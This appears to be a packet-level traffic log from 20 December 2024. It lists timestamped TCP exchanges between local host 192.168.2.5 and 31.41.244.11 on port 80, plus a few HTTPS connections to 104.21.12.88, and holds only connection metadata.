Dec 20, 2024 13:12:25.161675930 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.162548065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.162646055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.162857056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.163002014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.163672924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.163726091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.163765907 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.163794994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.164638042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.165838957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.165873051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.165894032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.165910006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.165958881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.165958881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.166870117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.166984081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.167193890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.167252064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.167953014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.168447018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.168509960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.169190884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.169225931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.169248104 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.169286013 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.170326948 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.170506001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.170641899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.171394110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.171452999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.171493053 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.171559095 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.172480106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.172532082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.172537088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.172595978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.173784018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.173871994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.174195051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.174268961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.174700975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.174814939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.174943924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.175028086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.175529003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.175638914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.176275015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.176378012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.176430941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.177366972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.177401066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.177429914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.177434921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.177481890 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.177481890 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.178292990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.178442001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.178563118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.178617001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.179263115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.179342031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.179461002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.179531097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.180454016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.180535078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.180612087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.181416035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.181472063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.181488991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.181530952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.182666063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.183289051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.183362007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.183568001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.183662891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.183710098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.183819056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.184819937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.184853077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.184890032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.184902906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.185631037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.185663939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.185772896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.186619997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.187832117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.187865973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.187896013 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.187901020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.187913895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.187993050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.188776970 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.189455986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.189507008 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.189765930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.189851999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.189851999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.189944029 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.190823078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.190877914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.190938950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.190998077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.191863060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.191946030 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.192025900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.193039894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.193150997 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.333642006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.333687067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.333713055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.333738089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.334084034 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.334145069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.334218979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.334273100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.335156918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.335218906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.335339069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.335391998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.336350918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.336451054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.336505890 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.337270975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.337465048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.337997913 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.338057041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.338344097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.338397980 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.338650942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.338722944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.339394093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.339443922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.340476036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.340512037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.340548038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.340574026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.340600967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.341449976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.341516972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.341737032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.341792107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.342453957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.342499971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.343653917 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.343688965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.343700886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.343724012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.343734026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.343770027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.344645023 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.344739914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.344770908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.344818115 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.345659971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.345743895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.345781088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.345905066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.346720934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.346766949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.347906113 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.347939968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.347970009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.347975969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.347996950 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.348016977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.348820925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.348879099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.349005938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.349134922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.349925995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.350285053 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.350339890 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.350945950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.350980043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.351032019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.351978064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.352029085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.352231026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.352283001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.352972984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.353024006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.353164911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.353215933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.354094982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.354150057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.354197025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.354249001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.355073929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.355130911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.355911016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.355963945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.356177092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.356211901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.356229067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.356256962 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.357177973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.357229948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.357292891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.357343912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.358222961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.358319998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.358448029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.358498096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.359272957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.359325886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.359539032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.359586000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.360347986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.360383034 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.360429049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.361397028 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.361448050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.362420082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.362453938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.362479925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.362497091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.362530947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.362581968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.363517046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.363569975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.363632917 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.363682032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.364622116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.364655018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.364674091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.364692926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.365557909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.365607977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.365674019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.365719080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.366626978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.367049932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.367103100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.367686987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.367748976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.367779016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.367832899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.368693113 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.368793964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.368858099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.368915081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.369795084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.369848013 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.370057106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.370110989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.370841980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.370893955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.371118069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.371170044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.371889114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.371947050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.372107029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.372157097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.372921944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.372975111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.373106003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.373157024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.373954058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.374006987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.374722004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.375021935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.375072956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.375566006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.375619888 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.376152039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.376185894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.376210928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.376224041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.377100945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.377150059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.377445936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.377497911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.378213882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.378247976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.378268003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.378284931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.379266024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.379340887 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.379806042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.380287886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.380342007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.380728960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.380780935 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.381305933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.381356001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.382282019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.382334948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.382428885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.382462978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.382476091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.382507086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.383378029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.383443117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.384469986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.384504080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.384540081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.384556055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.384588957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.385495901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.385546923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.385870934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.385922909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.386529922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.386578083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.387650967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.387685061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.387702942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.387732983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.387801886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.387851954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.389866114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.391976118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.406239033 CET	443	49867	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:25.406335115 CET	443	49867	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:25.406431913 CET	49867	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:25.406589985 CET	49867	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:25.406646967 CET	443	49867	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:25.423851967 CET	49873	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:25.423954010 CET	443	49873	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:25.424344063 CET	49873	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:25.424685001 CET	49873	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:25.424722910 CET	443	49873	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:25.525899887 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.525962114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.526074886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.526438951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.526488066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.526918888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.526967049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.527512074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.527582884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.527962923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.528029919 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.528445959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.528501987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.528687954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:25.528776884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:25.529546022 CET	80	49859	31.41.244.11	192.168.2.5
